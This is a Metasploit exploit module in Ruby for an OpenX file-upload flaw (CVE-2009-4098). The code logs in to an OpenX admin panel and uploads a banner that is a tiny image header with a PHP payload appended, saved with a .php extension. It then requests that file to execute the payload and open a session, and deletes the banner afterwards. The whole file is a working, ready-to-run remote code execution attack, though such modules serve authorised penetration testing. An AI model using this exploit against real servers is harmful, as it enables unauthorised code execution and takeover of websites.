##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'OpenX banner-edit.php File Upload PHP Code Execution',
      'Description'    => %q{
          This module exploits a vulnerability in the OpenX advertising software.
        In versions prior to version 2.8.2, authenticated users can upload files
        with arbitrary extensions to be used as banner creative content. By uploading
        a file with a PHP extension, an attacker can execute arbitrary PHP code.

        NOTE: The file must also return either "png", "gif", or "jpeg" as its image
        type as returned from the PHP getimagesize() function.
      },
      'Author'         => [ 'jduck' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2009-4098' ],
          [ 'OSVDB', '60499' ],
          [ 'BID', '37110' ],
          [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2009-11/0166.html' ],
          [ 'URL', 'http://www.openx.org/docs/2.8/release-notes/openx-2.8.2' ],
          # References for making small images:
          [ 'URL', 'http://php.net/manual/en/function.getimagesize.php' ],
          [ 'URL', 'http://gynvael.coldwind.pl/?id=223' ],
          [ 'URL', 'http://gynvael.coldwind.pl/?id=224' ],
          [ 'URL', 'http://gynvael.coldwind.pl/?id=235' ],
          [ 'URL', 'http://programming.arantius.com/the+smallest+possible+gif' ],
          [ 'URL', 'http://stackoverflow.com/questions/2253404/what-is-the-smallest-valid-jpeg-file-size-in-bytes' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Compat'      =>
            {
              'ConnectionType' => '-find',
            },
          'Space'       => 1024,
        },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Nov 24 2009',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('URI', [true, "OpenX directory path", "/openx/"]),
        OptString.new('USERNAME', [ true, 'The username to authenticate as' ]),
        OptString.new('PASSWORD', [ true, 'The password for the specified username' ]),
        OptString.new('DESC', [ true, 'The description to use for the banner', 'Temporary banner']),
      ], self.class)
  end

  def check
    uri = normalize_uri(datastore['URI'], 'www', 'admin/')
    res = send_request_raw(
      {
        'uri' => uri
      }, 25)

    if (res and res.body =~ /v.?([0-9]\.[0-9]\.[0-9])/)
      ver = $1
      vers = ver.split('.').map { |v| v.to_i }
      return Exploit::CheckCode::Safe if (vers[0] > 2)
      return Exploit::CheckCode::Safe if (vers[1] > 8)
      return Exploit::CheckCode::Safe if (vers[0] == 2 && vers[1] == 8 && vers[2] >= 2)
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def exploit

    # tiny images :)
    tiny_gif = "GIF89a" +
      "\x01\x00\x01\x00\x00" +
      [1,1,0x80|(2**(2+rand(3)))].pack('nnC') +
      "\xff\xff\xff\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b"
    tiny_png = "\x89PNG\x0d\x0a\x1a\x0a" +
      rand_text_alphanumeric(8) +
      [1,1,0].pack('NNC')
    tiny_jpeg = "\xff\xd8\xff\xff" +
      [0xc0|rand(16), rand(8), 2**(2+rand(3)), 1, 1, 1].pack('CnCnnC')
    tiny_imgs = [ tiny_gif, tiny_png, tiny_jpeg ]

    # Payload
    cmd_php = '<?php ' + payload.encoded + '?>'
    content = tiny_imgs[rand(tiny_imgs.length)] + cmd_php

    # Static files
    img_dir     = 'images/'
    uri_base    = normalize_uri(datastore['URI'], 'www/')

    # Need to login first :-/
    cookie = openx_login(uri_base)
    if (not cookie)
      fail_with(Failure::Unknown, 'Unable to login!')
    end
    print_status("Logged in successfully (cookie: #{cookie})")

    # Now, check for an advertiser / campaign
    ids = openx_find_campaign(uri_base, cookie)
    if (not ids)
      # TODO: try to add an advertiser and/or campaign
      fail_with(Failure::Unknown, 'The system has no advertisers or campaigns!')
    end
    adv_id = ids[0]
    camp_id = ids[1]
    print_status("Using advertiser #{adv_id} and campaign #{camp_id}")

    # Add the banner >:)
    ban_id = openx_upload_banner(uri_base, cookie, adv_id, camp_id, content)
    if (not ban_id)
      fail_with(Failure::Unknown, 'Unable to upload the banner!')
    end
    print_status("Successfully uploaded the banner image with id #{ban_id}")

    # Find the filename
    ban_fname = openx_find_banner_filename(uri_base, cookie, adv_id, camp_id, ban_id)
    if (not ban_fname)
      fail_with(Failure::Unknown, 'Unable to find the banner filename!')
    end
    print_status("Resolved banner id to name: #{ban_fname}")

    # Request it to trigger the payload
    res = send_request_raw({
        'uri' => uri_base + 'images/' + ban_fname + '.php'
      })

    # Delete the banner :)
    if (not openx_banner_delete(uri_base, cookie, adv_id, camp_id, ban_id))
      print_warning("WARNING: Unable to automatically delete the banner :-/")
    else
      print_good("Successfully deleted banner # #{ban_id}")
    end

    print_status("You should have a session now.")

    handler

  end


  def openx_login(uri_base)

    res = send_request_raw(
      {
        'uri' => normalize_uri(uri_base, 'admin/index.php')
      }, 10)
    if not (res and res.body =~ /oa_cookiecheck\" value=\"([^\"]+)\"/)
      return nil
    end
    cookie = $1

    res = send_request_cgi(
      {
        'method'    => 'POST',
        'uri'       => normalize_uri(uri_base, 'admin/index.php'),
        'vars_post' =>
          {
            'oa_cookiecheck' => cookie,
            'username' => datastore['USERNAME'],
            'password' => datastore['PASSWORD'],
            'login' => 'Login'
          },
        'headers'   =>
          {
            'Cookie'  => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
          },
      }, 10)
    if (not res or res.code != 302)
      return nil
    end

    # return the cookie
    cookie
  end


  def openx_find_campaign(uri_base, cookie)
    res = send_request_raw(
      {
        'uri' => normalize_uri(uri_base, 'admin/advertiser-campaigns.php'),
        'headers' =>
          {
            'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
          },
      })
    if not (res and res.body =~ /campaign-edit\.php\?clientid=([^&])&campaignid=([^\'])\'/)
      return nil
    end

    adv_id = $1.to_i
    camp_id = $2.to_i

    [ adv_id, camp_id ]
  end


  def mime_field(boundary, name, data, filename = nil, type = nil)
    ret = ''
    ret << '--' + boundary + "\r\n"
    ret << "Content-Disposition: form-data; name=\"#{name}\""
    if (filename)
      ret << "; filename=\"#{filename}\""
    end
    ret << "\r\n"
    if (type)
      ret << "Content-Type: #{type}\r\n"
    end
    ret << "\r\n"
    ret << data + "\r\n"
    ret
  end


  def openx_upload_banner(uri_base, cookie, adv_id, camp_id, code_img)
    # Generate some random strings
    boundary    = ('-' * 8) + rand_text_alphanumeric(32)
    cmdscript   = rand_text_alphanumeric(8+rand(8))

    # Upload payload (file ending .php)
    data = ""
    data << mime_field(boundary, "_qf__bannerForm", "")
    data << mime_field(boundary, "clientid", adv_id.to_s)
    data << mime_field(boundary, "campaignid", camp_id.to_s)
    data << mime_field(boundary, "bannerid", "")
    data << mime_field(boundary, "type", "web")
    data << mime_field(boundary, "status", "")
    data << mime_field(boundary, "MAX_FILE_SIZE", "2097152")
    data << mime_field(boundary, "replaceimage", "t")
    data << mime_field(boundary, "replacealtimage", "t")
    data << mime_field(boundary, "description", datastore['DESC'])
    data << mime_field(boundary, "upload", code_img, "#{cmdscript}.php", "application/octet-stream")
    data << mime_field(boundary, "checkswf", "1")
    data << mime_field(boundary, "uploadalt", "", "", "application/octet-stream")
    data << mime_field(boundary, "url", "http://")
    data << mime_field(boundary, "target", "")
    data << mime_field(boundary, "alt", "")
    data << mime_field(boundary, "statustext", "")
    data << mime_field(boundary, "bannertext", "")
    data << mime_field(boundary, "keyword", "")
    data << mime_field(boundary, "weight", "1")
    data << mime_field(boundary, "comments", "")
    data << mime_field(boundary, "submit", "Save changes")
    #data << mime_field(boundary, "", "")
    data << '--' + boundary + '--'

    res = send_request_raw(
      {
        'uri'     => normalize_uri(uri_base, "admin/banner-edit.php"),
        'method'  => 'POST',
        'data'    => data,
        'headers' =>
          {
            'Content-Length' => data.length,
            'Content-Type'   => 'multipart/form-data; boundary=' + boundary,
            'Cookie'         => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
          }
      }, 25)

    if not (res and res.code == 302 and res.headers['Location'] =~ /campaign-banners\.php/)
      return nil
    end

    # Ugh, now we have to get the banner id!
    res = send_request_raw(
      {
        'uri'     => normalize_uri(uri_base, "admin/campaign-banners.php") + "?clientid=#{adv_id}&campaignid=#{camp_id}",
        'method'  => 'GET',
        'headers' =>
          {
            'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
          }
      })

    if not (res and res.body.length > 0)
      return nil
    end

    res.body.each_line { |ln|
      # make sure the title we used is on this line
      regexp = Regexp.escape(datastore['DESC'])
      next if not (ln =~ /#{regexp}/)

      next if not (ln =~ /banner-edit\.php\?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=([^\']+)\'/)

      # found it! (don't worry about dupes)
      return $1.to_i
    }

    # Didn't find it :-/
    nil
  end


  def openx_find_banner_filename(uri_base, cookie, adv_id, camp_id, ban_id)
    # Ugh, now we have to get the banner name too!
    res = send_request_raw(
      {
        'uri'     => normalize_uri(uri_base, "admin/banner-edit.php") + "?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}",
        'method'  => 'GET',
        'headers' =>
          {
            'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
          }
      })

    if not (res and res.body =~ /\/www\/images\/([0-9a-f]+)\.php/)
      return nil
    end

    return $1
  end


  def openx_banner_delete(uri_base, cookie, adv_id, camp_id, ban_id)
    res = send_request_raw(
      {
        'uri'     => normalize_uri(uri_base, "admin/banner-delete.php") + "?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}",
        'method'  => 'GET',
        'headers' =>
          {
            'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
          }
      })

    if not (res and res.code == 302 and res.headers['Location'] =~ /campaign-banners\.php/)
      return nil
    end

    true
  end

end
